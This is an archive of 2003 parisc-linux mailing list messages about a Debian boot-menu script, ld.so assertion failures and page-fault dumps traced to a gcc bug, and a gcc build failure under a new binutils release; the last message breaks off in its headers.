Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 16 13:59:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sccrmhc03.attbi.com (sccrmhc03.attbi.com [204.127.202.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DB3F4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 May 2003 13:59:17 -0600 (MDT)
Original-Received: from ja2000 (12-240-79-16.client.attbi.com[12.240.79.16])
          by attbi.com (sccrmhc03) with SMTP
          id <20030516195915003009o4vre>; Fri, 16 May 2003 19:59:16 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20030516172555.GA10530@dsl2.external.hp.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18500

>> Is there an easy way to disable the blue screen after booting to the old
>> kernel?

> Yes
> 1) figure out which script is presenting that menu.
>   (eg "fgrep -i new_network /etc/init.d/*")
I assume that by "new_network" you really mean one of the strings that are
displayed in the Debian GNU Linux blue screen with the gray menu (such as
"Choose your current network-environment !", "Set_up_new_environment" or
"Installation_default") and that you are trying to find a file in the init.d
directory that contains that string.  Am I correct?
I tried all three, as follows (but no file was found with any of these
commands):
fgrep -i Set_up_new_environment /etc/init.d/*
fgrep -i Installation_default /etc/init.d/*
fgrep -i 'Choose your current network-environment !' /etc/init.d/*
So, here are my next questions:
1. Is init.d the only directory to search?
2. Can initialization scripts be stored elsewhere?
Best regards,
Jaime






From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Sun, 18 May 2003 12:41:03 +0000 (UTC)
Lines: 54
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0305181226340.86062@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622462 25805 80.91.229.3 (22 Nov 2014 02:14:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 06:41:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C2CC4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 06:41:20 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 31C271FFBCE
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 14:41:18 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 12C321FFBCA; Sun, 18 May 2003 14:41:17 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 2365C153C1; Sun, 18 May 2003 12:41:03 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 1957015329
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 12:41:03 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18501

Hi,

bz@apollo:~> ldd /bin/cp
Inconsistency detected by ld.so: rtld.c: 879: dl_main: Assertion `_rtld_local._dl_rtld_map.l_libname' failed!
Inconsistency detected by ld.so: rtld.c: 879: dl_main: Assertion `_rtld_local._dl_rtld_map.l_libname' failed!
ldd: /lib/ld.so.1 exited with unknown exit code (127)


I have seen:
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-March/019601.html

ist this patch included in some cvs so that I can rebuild me glibc ?
Or any other proposals ?



I also have other probs with vim and tcpdump and most likely others
dumping core and producing a do_page_fault() dump with IAOQ: 4xxxxxxxx
on 2.5.-latest from cvs w/o last single ioctl commit.
but I also had seen these core dumps on 2.4.18-pa33 after last
dist-upgrade some days ago ...


do_page_fault() pid=732 command='vim' type=15 address=0x00000000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 40209e44 400ec15f 00000000
r04-07  40208644 0011c8b6 00000017 00126b30
r08-11  00000000 001695a8 00000000 00000000
r12-15  00000002 00000001 00000001 00070208
r16-19  ffffffff 00000000 00000000 40208644
r20-23  00000002 40208644 400ec11c 00000000
r24-27  00000000 0011c8b6 00000002 0010f634
r28-31  000abc78 0000011e faf009c0 4000a08f
sr0-3   00000016 00000016 00000000 00000016
sr4-7   00000016 00000016 00000016 00000016

IASQ: 00000016 00000016 IAOQ: 401d1b2f 401d1b33
 IIR: 0c601094    ISR: 00000016  IOR: 00000000
 CPU:        0   CR30: 146f4000 CR31: 102e1000
 ORIG_R28: 00126f48


any ideas ?

more infos available on request.

-- 
Greetings

Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc fails to build using binutils-2.14.90.0.1
Date: Sun, 18 May 2003 16:36:43 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <16071.39547.93843.710060__23959.907415747$1416622462$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622462 25808 80.91.229.3 (22 Nov 2014 02:14:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:22 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 08:41:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B6D74829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 08:41:16 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id QAA22471;
	Sun, 18 May 2003 16:36:43 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id h4IEah000718;
	Sun, 18 May 2003 16:36:43 +0200 (MEST)
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18502

binutils-2.13.90.0.18 works ok.

See http://buildd.debian.org/fetch.php?&pkg=gcc-3.3&ver=1%3A3.3ds9-2&arch=hppa&stamp=1053264270&file=log&as=raw:

./xgcc -B./ -B/usr/hppa-linux/bin/ -isystem /usr/hppa-linux/include -isystem /usr/hppa-linux/sys-include -O2  -DIN_GCC    -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem ./include  -fPIC -DELF=1 -DLINUX=1 -g -DHAVE_GTHR_DEFAULT -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED  -I. -I. -I../../src/gcc -I../../src/gcc/. -I../../src/gcc/config -I../../src/gcc/../include -DL_mulI -xassembler-with-cpp -c ../../src/gcc/config/pa/milli64.S -o libgcc/./_mulI.o
../../src/gcc/config/pa/milli64.S: Assembler messages:
../../src/gcc/config/pa/milli64.S:1779: Error: Undefined .EXPORT/.IMPORT argument (ignored): 
../../src/gcc/config/pa/milli64.S:1779: Error: Undefined .EXPORT/.IMPORT argument (ignored): millicode
make[5]: *** [libgcc/./_mulI.o] Error 1


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc fails to build using binutils-2.14.90.0.1
Date: Sun, 18 May 2003 12:01:53 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200305181601.h4IG1sgl016848__34825.1368770891$1416622463$gmane$org@hiauly1.hia.nrc.ca>
References: <16071.39547.93843.710060@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622463 25809 80.91.229.3 (22 Nov 2014 02:14:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 10:02:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0D6E4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 10:02:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4IG1sgL016849;
	Sun, 18 May 2003 12:01:54 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4IG1sgl016848;
	Sun, 18 May 2003 12:01:54 -0400 (EDT)
In-Reply-To: <16071.39547.93843.710060@gargle.gargle.HOWL> from "Matthias Klose" at May 18, 2003 04:36:43 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18503

> binutils-2.13.90.0.18 works ok.
> 
> See http://buildd.debian.org/fetch.php?&pkg=gcc-3.3&ver=1%3A3.3ds9-2&arch=hppa&stamp=1053264270&file=log&as=raw:
> 
> ./xgcc -B./ -B/usr/hppa-linux/bin/ -isystem /usr/hppa-linux/include -isystem /usr/hppa-linux/sys-include -O2  -DIN_GCC    -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem ./include  -fPIC -DELF=1 -DLINUX=1 -g -DHAVE_GTHR_DEFAULT -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED  -I. -I. -I../../src/gcc -I../../src/gcc/. -I../../src/gcc/config -I../../src/gcc/../include -DL_mulI -xassembler-with-cpp -c ../../src/gcc/config/pa/milli64.S -o libgcc/./_mulI.o
> ../../src/gcc/config/pa/milli64.S: Assembler messages:
> ../../src/gcc/config/pa/milli64.S:1779: Error: Undefined .EXPORT/.IMPORT argument (ignored): 
> ../../src/gcc/config/pa/milli64.S:1779: Error: Undefined .EXPORT/.IMPORT argument (ignored): millicode
> make[5]: *** [libgcc/./_mulI.o] Error 1

Did you part this to the binutils list?  A change has mucked up the
assembler's processing of .export.  Alan Modra would probably know what's
happened.

I've also noted that there are some new fails in the visibility tests
in a recent cvs version of binutils.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Sun, 18 May 2003 09:10:01 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20030518161001.GG548@tausq.org>
References: <Pine.BSF.4.53.0305181226340.86062@e0-0.zab2.int.zabbadoz.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622463 25816 80.91.229.3 (22 Nov 2014 02:14:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 10:06:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7C9B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 10:06:42 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5D978CD28E; Sun, 18 May 2003 09:10:01 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.53.0305181226340.86062@e0-0.zab2.int.zabbadoz.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18504

> bz@apollo:~> ldd /bin/cp
> Inconsistency detected by ld.so: rtld.c: 879: dl_main: Assertion `_rtld_local._dl_rtld_map.l_libname' failed!
> Inconsistency detected by ld.so: rtld.c: 879: dl_main: Assertion `_rtld_local._dl_rtld_map.l_libname' failed!
> ldd: /lib/ld.so.1 exited with unknown exit code (127)

http://sources.redhat.com/ml/libc-alpha/2003-05/msg00149.html

i just sent this to debian/glibc upstream yesterday.

> I also have other probs with vim and tcpdump and most likely others
> dumping core and producing a do_page_fault() dump with IAOQ: 4xxxxxxxx
> on 2.5.-latest from cvs w/o last single ioctl commit.
> but I also had seen these core dumps on 2.4.18-pa33 after last
> dist-upgrade some days ago ...

this is because of a gcc bug.
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193207

once gcc-3.2 gets patched and glibc gets recompiled, you'll be ok.
otherwise, consider downgrading to libc6_2.3.1-16 and everything will be
ok.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Sun, 18 May 2003 16:45:11 +0000 (UTC)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0305181640470.86062@e0-0.zab2.int.zabbadoz.net>
References: <Pine.BSF.4.53.0305181226340.86062@e0-0.zab2.int.zabbadoz.net>
 <20030518161001.GG548@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622463 25819 80.91.229.3 (22 Nov 2014 02:14:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 10:45:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0496D4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 10:45:39 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 7C9321FFBCD; Sun, 18 May 2003 18:45:38 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 7B6F41FFBCA; Sun, 18 May 2003 18:45:37 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id E302C153C1; Sun, 18 May 2003 16:45:11 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id D8D1115329; Sun, 18 May 2003 16:45:11 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20030518161001.GG548@tausq.org>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18505

On Sun, 18 May 2003, Randolph Chung wrote:

Hi,

> http://sources.redhat.com/ml/libc-alpha/2003-05/msg00149.html
>
> i just sent this to debian/glibc upstream yesterday.

thanks for the information.


> > I also have other probs with vim and tcpdump and most likely others
> > dumping core and producing a do_page_fault() dump with IAOQ: 4xxxxxxxx
>
> this is because of a gcc bug.
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193207
>
> once gcc-3.2 gets patched and glibc gets recompiled, you'll be ok.
> otherwise, consider downgrading to libc6_2.3.1-16 and everything will be
> ok.

what about the gcc-3.3 debs that are distributed ? If I rebuilt the
packages from source with them would they be ok ?

-- 
Greetings

Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Sun, 18 May 2003 10:16:45 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20030518171645.GH548@tausq.org>
References: <Pine.BSF.4.53.0305181226340.86062@e0-0.zab2.int.zabbadoz.net> <20030518161001.GG548@tausq.org> <Pine.BSF.4.53.0305181640470.86062@e0-0.zab2.int.zabbadoz.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622464 25823 80.91.229.3 (22 Nov 2014 02:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 11:12:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99D4B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 11:12:58 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 39497CD28E; Sun, 18 May 2003 10:16:45 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.53.0305181640470.86062@e0-0.zab2.int.zabbadoz.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18506

> > once gcc-3.2 gets patched and glibc gets recompiled, you'll be ok.
> > otherwise, consider downgrading to libc6_2.3.1-16 and everything will be
> > ok.
> 
> what about the gcc-3.3 debs that are distributed ? If I rebuilt the
> packages from source with them would they be ok ?

yes, that should work too.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Sun, 18 May 2003 19:44:36 +0000 (UTC)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0305181942400.86062@e0-0.zab2.int.zabbadoz.net>
References: <Pine.BSF.4.53.0305181226340.86062@e0-0.zab2.int.zabbadoz.net>
 <20030518161001.GG548@tausq.org> <Pine.BSF.4.53.0305181640470.86062@e0-0.zab2.int.zabbadoz.net>
 <20030518171645.GH548@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622464 25827 80.91.229.3 (22 Nov 2014 02:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 13:44:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16BAB4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 13:44:59 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id AEB2E1FFBD2; Sun, 18 May 2003 21:44:57 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id B8A681FFBCA; Sun, 18 May 2003 21:44:56 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 7B64F153C2; Sun, 18 May 2003 19:44:36 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 714EC153AD; Sun, 18 May 2003 19:44:36 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20030518171645.GH548@tausq.org>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
